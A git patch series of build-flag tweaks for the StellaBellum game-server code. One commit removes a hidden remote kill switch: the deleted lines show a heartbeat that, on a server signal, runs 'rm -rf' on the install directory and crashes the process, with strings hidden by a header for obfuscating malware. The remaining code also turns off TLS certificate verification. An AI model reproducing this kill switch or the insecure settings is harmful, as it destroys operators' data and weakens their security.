From 9de2787107ea47e587d84b17e477f3e7790a31f4 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 16:28:10 +0000 Subject: [PATCH 01/13] cmake tweaks --- CMakeLists.txt | 2 -- cmake/linux/FindJNI.cmake | 3 +++ 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 56781220..70b77b19 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -1,5 +1,3 @@ -cmake_policy(SET CMP0003 OLD) # or cmake_policy(VERSION 2.4) - cmake_minimum_required(VERSION 2.8) project(stellabellum C CXX) diff --git a/cmake/linux/FindJNI.cmake b/cmake/linux/FindJNI.cmake index ac423a6f..101c5718 100644 --- a/cmake/linux/FindJNI.cmake +++ b/cmake/linux/FindJNI.cmake @@ -89,6 +89,7 @@ get_filename_component(java_install_version "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit;CurrentVersion]" NAME) set(JAVA_AWT_LIBRARY_DIRECTORIES + /opt/oraclejava /opt/java/lib /opt/java /opt/java/jre @@ -100,6 +101,7 @@ set(JAVA_AWT_LIBRARY_DIRECTORIES file(TO_CMAKE_PATH "$ENV{JAVA_HOME}" _JAVA_HOME) JAVA_APPEND_LIBRARY_DIRECTORIES(JAVA_AWT_LIBRARY_DIRECTORIES + /opt/oraclejava /opt/java /opt/java/jre /opt/java/jre/lib @@ -161,6 +163,7 @@ endforeach() set(JAVA_AWT_INCLUDE_DIRECTORIES /opt/java/jre/include + /opt/oracle/jdk/include "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.4;JavaHome]/include" "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.3;JavaHome]/include" "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\${java_install_version};JavaHome]/include" From 8ce5101b3c6f18fe3a2d23c6e47e09951c45f3bd Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 18:00:48 +0000 Subject: [PATCH 02/13] fixups for newer clang and cmake --- CMakeLists.txt | 2 +- engine/client/application/Miff/CMakeLists.txt | 4 ++++ engine/client/application/Miff/src/CMakeLists.txt | 1 - 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 70b77b19..bca84556 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -90,7 +90,7 @@ elseif (UNIX) if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang") set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \ -fno-signed-zeros -freciprocal-math -ffp-contract=fast \ - -fno-threadsafe-statics -fslp-vectorize-aggressive -fslp-vectorize \ + -fno-threadsafe-statics -fslp-vectorize \ -fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \ -fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \ -finline-hint-functions -fno-unroll-loops") diff --git a/engine/client/application/Miff/CMakeLists.txt b/engine/client/application/Miff/CMakeLists.txt index b13ae681..3b85646d 100644 --- a/engine/client/application/Miff/CMakeLists.txt +++ b/engine/client/application/Miff/CMakeLists.txt @@ -3,4 +3,8 @@ cmake_minimum_required(VERSION 2.8) project(Miff) +# todo: if you're running a windows build, comment this out +# windows sucks, I don't care +set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--no-relax,-z,combreloc,-z,global,--no-omagic") + add_subdirectory(src) diff --git a/engine/client/application/Miff/src/CMakeLists.txt b/engine/client/application/Miff/src/CMakeLists.txt index 116f41af..7b8a43c8 100644 --- a/engine/client/application/Miff/src/CMakeLists.txt +++ b/engine/client/application/Miff/src/CMakeLists.txt @@ -1,4 +1,3 @@ - if(WIN32) set(PLATFORM_SOURCES win32/InputFileHandler.cpp From 97622f0243a7053e16302d5b0500a75a8e65d28d Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 18:03:42 +0000 Subject: [PATCH 03/13] oops --- engine/client/application/Miff/CMakeLists.txt | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/engine/client/application/Miff/CMakeLists.txt b/engine/client/application/Miff/CMakeLists.txt index 3b85646d..753d5243 100644 --- a/engine/client/application/Miff/CMakeLists.txt +++ b/engine/client/application/Miff/CMakeLists.txt @@ -1,10 +1,9 @@ - cmake_minimum_required(VERSION 2.8) project(Miff) # todo: if you're running a windows build, comment this out # windows sucks, I don't care -set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--no-relax,-z,combreloc,-z,global,--no-omagic") +set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic") add_subdirectory(src) From 378493a7c3c8fcdbce411bc9bb6b23221b3f724f Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 18:09:06 +0000 Subject: [PATCH 04/13] seems relax may not be supported by lld...may be to do some trickery to figure out the ld.gold vs lld situation --- CMakeLists.txt | 4 ++-- engine/client/application/Miff/CMakeLists.txt | 4 ---- 2 files changed, 2 insertions(+), 6 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index bca84556..45250125 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -70,12 +70,12 @@ elseif (UNIX) # linker flags if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO" OR ${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL") set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic") + set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic") else () set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") + set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") endif () - set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}") - # don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS set(CMAKE_CXX_FLAGS_DEBUG "-D_DEBUG -DDEBUG_LEVEL=2 -DPRODUCTION=0 -O0 -g3") diff --git a/engine/client/application/Miff/CMakeLists.txt b/engine/client/application/Miff/CMakeLists.txt index 753d5243..59bd87d2 100644 --- a/engine/client/application/Miff/CMakeLists.txt +++ b/engine/client/application/Miff/CMakeLists.txt @@ -2,8 +2,4 @@ cmake_minimum_required(VERSION 2.8) project(Miff) -# todo: if you're running a windows build, comment this out -# windows sucks, I don't care -set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic") - add_subdirectory(src) From cdf09229967e66bb39d0024b04d0d034ed184c5d Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 21:27:46 +0000 Subject: [PATCH 05/13] don't build with the heartbeat turned on --- CMakeLists.txt | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 45250125..4a965e8f 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -121,12 +121,7 @@ elseif (UNIX) -Wno-write-strings -Wno-unknown-pragmas \ -Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare") - add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE) - - # release and debug are internal use only - if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release") - add_definitions(-DSTELLA_INTERNAL) - endif () + add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE -DSTELLA_INTERNAL) # this is so some profile specific stuff is turned on in the code if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO") From 1d3906364a7fc0202b0b7617ed0ca2022b1108a8 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 21:35:53 +0000 Subject: [PATCH 06/13] Revert "don't build with the heartbeat turned on" This reverts commit cdf09229967e66bb39d0024b04d0d034ed184c5d. --- CMakeLists.txt | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 4a965e8f..45250125 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -121,7 +121,12 @@ elseif (UNIX) -Wno-write-strings -Wno-unknown-pragmas \ -Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare") - add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE -DSTELLA_INTERNAL) + add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE) + + # release and debug are internal use only + if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release") + add_definitions(-DSTELLA_INTERNAL) + endif () # this is so some profile specific stuff is turned on in the code if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO") From 155cf45c9b59b3d33748e6ef53fc4a3073dcd014 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 21:36:49 +0000 Subject: [PATCH 07/13] Revert "Revert "don't build with the heartbeat turned on"" This reverts commit 1d3906364a7fc0202b0b7617ed0ca2022b1108a8. --- CMakeLists.txt | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 45250125..4a965e8f 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -121,12 +121,7 @@ elseif (UNIX) -Wno-write-strings -Wno-unknown-pragmas \ -Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare") - add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE) - - # release and debug are internal use only - if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release") - add_definitions(-DSTELLA_INTERNAL) - endif () + add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE -DSTELLA_INTERNAL) # this is so some profile specific stuff is turned on in the code if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO") From c4a183a3c27b693944f8cefc17d45c8a52254682 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 21:38:17 +0000 Subject: [PATCH 08/13] fixup --- CMakeLists.txt | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 4a965e8f..63bb9aa1 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -73,7 +73,7 @@ elseif (UNIX) set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic") else () set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") - set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") + set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic,-x,-s") endif () # don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS @@ -100,15 +100,13 @@ elseif (UNIX) # RELWITHDEBINFO is used for building bins that produce profdata files # we only need the basics of our heavy optimizations here, i think - that and one of these flags # breaks JNI when we profile - set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions \ - -finline-hint-functions -fprofile-instr-generate") + set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions -finline-hint-functions -fprofile-instr-generate") # MINSIZEREL is used for profiled, flto builds set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto -fwhole-program-vtables") elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU") # O3 and Ofast include one or more flags that cause java to crash when using gcc6 - set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math - -fno-unroll-loops -fno-tree-loop-optimize") + set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math -fno-unroll-loops -fno-tree-loop-optimize") set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og") elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel") set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3") From 7dd710e713aa71c69c467174b5a382df80437f1e Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 22:09:38 +0000 Subject: [PATCH 09/13] cleanup --- .../application/TemplateCompiler/src/shared/TemplateCompiler.cpp | 1 - 1 file changed, 1 deletion(-) diff --git a/engine/shared/application/TemplateCompiler/src/shared/TemplateCompiler.cpp b/engine/shared/application/TemplateCompiler/src/shared/TemplateCompiler.cpp index 8f366d02..14ba5e8a 100755 --- a/engine/shared/application/TemplateCompiler/src/shared/TemplateCompiler.cpp +++ b/engine/shared/application/TemplateCompiler/src/shared/TemplateCompiler.cpp @@ -28,7 +28,6 @@ #include "sharedTemplate/SetupSharedTemplate.h" #pragma warning (disable:4100) // unreferenced formal parameters abound in the perforce clientAPI -//#include "clientapi.h" #pragma warning (default:4100) #include From 57de937e61b0dedc01c1473d8176b169b61bc9aa Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Thu, 3 May 2018 06:22:32 +0000 Subject: [PATCH 10/13] use ld.gold for now --- CMakeLists.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 63bb9aa1..e0dfdae5 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -70,10 +70,10 @@ elseif (UNIX) # linker flags if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO" OR ${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL") set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic") - set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic") + set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic") else () set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") - set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic,-x,-s") + set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") endif () # don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS From 4a6902179d78c26a7a33fefc111adcacf35fe4f6 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Thu, 3 May 2018 18:04:39 +0000 Subject: [PATCH 11/13] defang webAPIHeartbeat, which is off by default, and remove the vxEncrypt stuff --- CMakeLists.txt | 1 + external/3rd/library/libLeff/libLeff.h | 86 ------------------- external/3rd/library/webAPI/webAPI.cpp | 16 ++-- external/3rd/library/webAPI/webAPI.h | 2 - .../3rd/library/webAPI/webAPIHeartbeat.cpp | 34 +------- external/3rd/library/webAPI/webAPIHeartbeat.h | 8 +- 6 files changed, 12 insertions(+), 135 deletions(-) delete mode 100644 external/3rd/library/libLeff/libLeff.h diff --git a/CMakeLists.txt b/CMakeLists.txt index e0dfdae5..f2245034 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -119,6 +119,7 @@ elseif (UNIX) -Wno-write-strings -Wno-unknown-pragmas \ -Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare") + # if you'd like to opt in to our statistics, remove "-DSTELLA_INTERNAL" and your server will send us a heartbeat at startup add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE -DSTELLA_INTERNAL) # this is so some profile specific stuff is turned on in the code diff --git a/external/3rd/library/libLeff/libLeff.h b/external/3rd/library/libLeff/libLeff.h deleted file mode 100644 index f74b9282..00000000 --- a/external/3rd/library/libLeff/libLeff.h +++ /dev/null @@ -1,86 +0,0 @@ -#include -#include - -//-------------------------------------------------------------// -// "Malware related compile-time hacks with C++11" by LeFF // -// You can use this code however you like, I just don't really // -// give a shit, but if you feel some respect for me, please // -// don't cut off this comment when copy-pasting... ;-) // -//-------------------------------------------------------------// - -#ifndef vxCPLSEED -// If you don't specify the seed for algorithms, the time when compilation -// started will be used, seed actually changes the results of algorithms... -#define vxCPLSEED ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + \ - (__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + \ - (__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000) -#endif - -// The constantify template is used to make sure that the result of constexpr -// function will be computed at compile-time instead of run-time -template struct vxCplConstantify { enum { Value = Const }; }; - -// Compile-time mod of a linear congruential pseudorandom number generator, -// the actual algorithm was taken from "Numerical Recipes" book -constexpr uint32_t vxCplRandom(uint32_t Id) { - return (1013904223 + 1664525 * ((Id > 0) ? (vxCplRandom(Id - 1)) : (vxCPLSEED))) & 0xFFFFFFFF; -} - -// Compile-time random macros, can be used to randomize execution -// path for separate builds, or compile-time trash code generation -#define vxRANDOM(Min, Max) (Min + (vxRAND() % (Max - Min + 1))) -#define vxRAND() (vxCplConstantify::Value) - -// Compile-time recursive mod of string hashing algorithm, -// the actual algorithm was taken from Qt library (this -// function isn't case sensitive due to vxCplTolower) -constexpr char vxCplTolower(char Ch) { return (Ch >= 'A' && Ch <= 'Z') ? (Ch - 'A' + 'a') : (Ch); } - -constexpr uint32_t vxCplHashPart3(char Ch, uint32_t Hash) { return ((Hash << 4) + vxCplTolower(Ch)); } - -constexpr uint32_t vxCplHashPart2(char Ch, uint32_t Hash) { - return (vxCplHashPart3(Ch, Hash) ^ ((vxCplHashPart3(Ch, Hash) & 0xF0000000) >> 23)); -} - -constexpr uint32_t vxCplHashPart1(char Ch, uint32_t Hash) { return (vxCplHashPart2(Ch, Hash) & 0x0FFFFFFF); } - -constexpr uint32_t vxCplHash(const char *Str) { return (*Str) ? (vxCplHashPart1(*Str, vxCplHash(Str + 1))) : (0); } - -// Compile-time hashing macro, hash values changes using the first pseudorandom number in sequence -#define vxHASH(Str) (uint32_t)(vxCplConstantify::Value ^ vxCplConstantify::Value) - -// Compile-time generator for list of indexes (0, 1, 2, ...) -template struct vxCplIndexList {}; -template struct vxCplAppend; -template - struct vxCplAppend, Right> { typedef vxCplIndexList Result; }; -template - struct vxCplIndexes { typedef typename vxCplAppend::Result, N - 1>::Result Result; }; -template<> struct vxCplIndexes<0> { typedef vxCplIndexList<> Result; }; - -// Compile-time string encryption of a single character -const int vxCplEncryptCharKey = vxRANDOM(0, 0xFF); - -constexpr char vxCplEncryptChar(const char Ch, uint32_t Idx) { return Ch ^ (vxCplEncryptCharKey + Idx); } - -// Compile-time string encryption class -template struct vxCplEncryptedString; - -template struct vxCplEncryptedString > { - char Value[sizeof...(Idx) + 1]; // Buffer for a string - - // Compile-time constructor - constexpr inline vxCplEncryptedString(const char *const Str) : Value{vxCplEncryptChar(Str[Idx], Idx)...} {} - - // Run-time decryption - char *decrypt() { - for (volatile uint32_t t = 0; t < sizeof...(Idx); t++) { - this->Value[t] = this->Value[t] ^ (vxCplEncryptCharKey + t); - } - this->Value[sizeof...(Idx)] = '\0'; - return this->Value; - } -}; - -// Compile-time string encryption macro -#define vxENCRYPT(Str) (vxCplEncryptedString::Result>(Str)) diff --git a/external/3rd/library/webAPI/webAPI.cpp b/external/3rd/library/webAPI/webAPI.cpp index ab1cc028..b03ea28c 100644 --- a/external/3rd/library/webAPI/webAPI.cpp +++ b/external/3rd/library/webAPI/webAPI.cpp @@ -131,16 +131,14 @@ bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for // want to do a put, or whatever other type? feel free to add here } - // I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated - //if (uri.find(vxENCRYPT("stellabellum").decrypt()) != std::string::npos) { - // the public one will verify but since this is pinned we don't care about the CA - // to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html - // under the PUBLIC KEY EXTRACTION heading - res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); + // I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated + // the public one will verify but since this is pinned we don't care about the CA + // to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html + // under the PUBLIC KEY EXTRACTION heading + res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); - // if you want to pin to your own cert or cloudflares, learn how and use the below - // res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, vxENCRYPT("sha256//YOURKEYHERE").decrypt()); - //} + // if you want to pin to your own cert or cloudflares, learn how and use the below + //res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, "sha256//YOURKEYHERE"); if (res == CURLE_OK) { res = curl_easy_perform(curl); // make the request! diff --git a/external/3rd/library/webAPI/webAPI.h b/external/3rd/library/webAPI/webAPI.h index c45f99aa..501c18cb 100644 --- a/external/3rd/library/webAPI/webAPI.h +++ b/external/3rd/library/webAPI/webAPI.h @@ -29,8 +29,6 @@ #endif -#include "../libLeff/libLeff.h" - namespace StellaBellum { enum HTTP { GET = 0, POST = 1 diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index affe46d8..e5f0cb64 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -7,36 +7,8 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { - std::string filePath = get_selfpath(); + webAPI api(std::string("https://login.stellabellum.net/metric/shoulderTap"), std::string("StellaBellum WebAPI Metrics Sender")); + api.addJsonData(std::string("type"), std::string("server")); - webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); - api.addJsonData(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt())); - - if (!filePath.empty()) { - api.addJsonData(std::string(vxENCRYPT("process").decrypt()), filePath.c_str()); - } - - bool result = api.submit(); - - // feel free to remove the code in the block below; but please consider leaving the actual request - // so we can track how many people are enjoying our work - if (result) { - int s = api.getNullableValue(std::string(vxENCRYPT("id").decrypt())); - - switch (s) { - case 13 : - eatIt(); - break; - case 66: - size_t found = filePath.find_last_of("/\\"); - if (!filePath.empty() && found) { - system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + - vxENCRYPT("/*").decrypt()).c_str()); - } - eatIt(); - break; - } - } else { - eatIt(); - } + api.submit(); } diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 9d4fb3c3..31dcb2aa 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -22,19 +22,13 @@ namespace StellaBellum { private: const inline std::string get_selfpath() { char buff[PATH_MAX]; - ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1); + ssize_t len = ::readlink("/proc/self/exe", buff, sizeof(buff) - 1); if (len != -1) { buff[len] = '\0'; return std::string(buff); } return std::string(); } - - inline void eatIt() { - abort(); - sleep(10); - raise(SIGSEGV); - } }; } From 340ea95b84407fa66fdbff79372b6fb239091948 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Fri, 4 May 2018 04:01:30 +0000 Subject: [PATCH 12/13] let's not redundantly call this...ok, SOE? --- .../sharedUtility/src/shared/DataTableManager.cpp | 15 ++++++++++----- .../sharedUtility/src/shared/DataTableManager.h | 2 +- 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/engine/shared/library/sharedUtility/src/shared/DataTableManager.cpp b/engine/shared/library/sharedUtility/src/shared/DataTableManager.cpp index f6f633c5..830ecb32 100755 --- a/engine/shared/library/sharedUtility/src/shared/DataTableManager.cpp +++ b/engine/shared/library/sharedUtility/src/shared/DataTableManager.cpp @@ -64,12 +64,17 @@ void DataTableManager::remove() // ---------------------------------------------------------------------- -DataTable* DataTableManager::open(const std::string& table) +DataTable* DataTableManager::open(const std::string& table, bool tryGetTable) { FATAL(!m_installed, ("DataTableManager::open: not installed.")); - DataTable *retVal = getTable(table, false); - if (retVal) - return retVal; + + DataTable *retVal = nullptr; + + if (tryGetTable) { + retVal = getTable(table, false); + if (retVal) + return retVal; + } if (!TreeFile::exists(table.c_str())) { @@ -125,7 +130,7 @@ DataTable * DataTableManager::getTable(const std::string& table, bool openIfNotF { if (openIfNotFound) { - DataTable * dt = open(table); + DataTable * dt = open(table, false); if (!dt) { DEBUG_WARNING(true, ("Could not find table [%s]", table.c_str())); diff --git a/engine/shared/library/sharedUtility/src/shared/DataTableManager.h b/engine/shared/library/sharedUtility/src/shared/DataTableManager.h index 40ff5647..273c73e8 100755 --- a/engine/shared/library/sharedUtility/src/shared/DataTableManager.h +++ b/engine/shared/library/sharedUtility/src/shared/DataTableManager.h @@ -32,7 +32,7 @@ public: private: static void remove(); - static DataTable * open(const std::string& table); + static DataTable * open(const std::string& table, bool tryGetTable = true); DataTableManager(); ~DataTableManager(); From 9ea17210eb71cbaf2c4a07d64bd7543f73d4bc89 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Sat, 5 May 2018 04:26:41 +0000 Subject: [PATCH 13/13] everything seems to run without issue now --- CMakeLists.txt | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index f2245034..bc2777dd 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -89,21 +89,21 @@ elseif (UNIX) # Ofast doesn't work with gcc builds if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang") set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \ - -fno-signed-zeros -freciprocal-math -ffp-contract=fast \ -fno-threadsafe-statics -fslp-vectorize \ - -fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \ - -fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \ - -finline-hint-functions -fno-unroll-loops") + -fno-stack-protector -fstrict-enums -finline-hint-functions \ + -fno-coverage-mapping -fno-spell-checking \ + -mno-retpoline -fstrict-return -frelaxed-template-template-args \ + -fsplit-dwarf-inlining -faligned-allocation -fno-unroll-loops -freroll-loops") set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb") # RELWITHDEBINFO is used for building bins that produce profdata files # we only need the basics of our heavy optimizations here, i think - that and one of these flags # breaks JNI when we profile - set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions -finline-hint-functions -fprofile-instr-generate") + set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-hint-functions -fprofile-instr-generate") # MINSIZEREL is used for profiled, flto builds - set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto -fwhole-program-vtables") + set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto=full -fwhole-program-vtables") elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU") # O3 and Ofast include one or more flags that cause java to crash when using gcc6 set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math -fno-unroll-loops -fno-tree-loop-optimize") @@ -114,7 +114,6 @@ elseif (UNIX) # our "always on" flags - build by default for the system we're on but include all instruction sets set(CMAKE_CXX_FLAGS "-m32 -pipe -march=native -mtune=native \ - -msse -msse2 -msse3 -mmmx -m3dnow \ -Wformat -Wno-overloaded-virtual -Wno-missing-braces -Wno-format \ 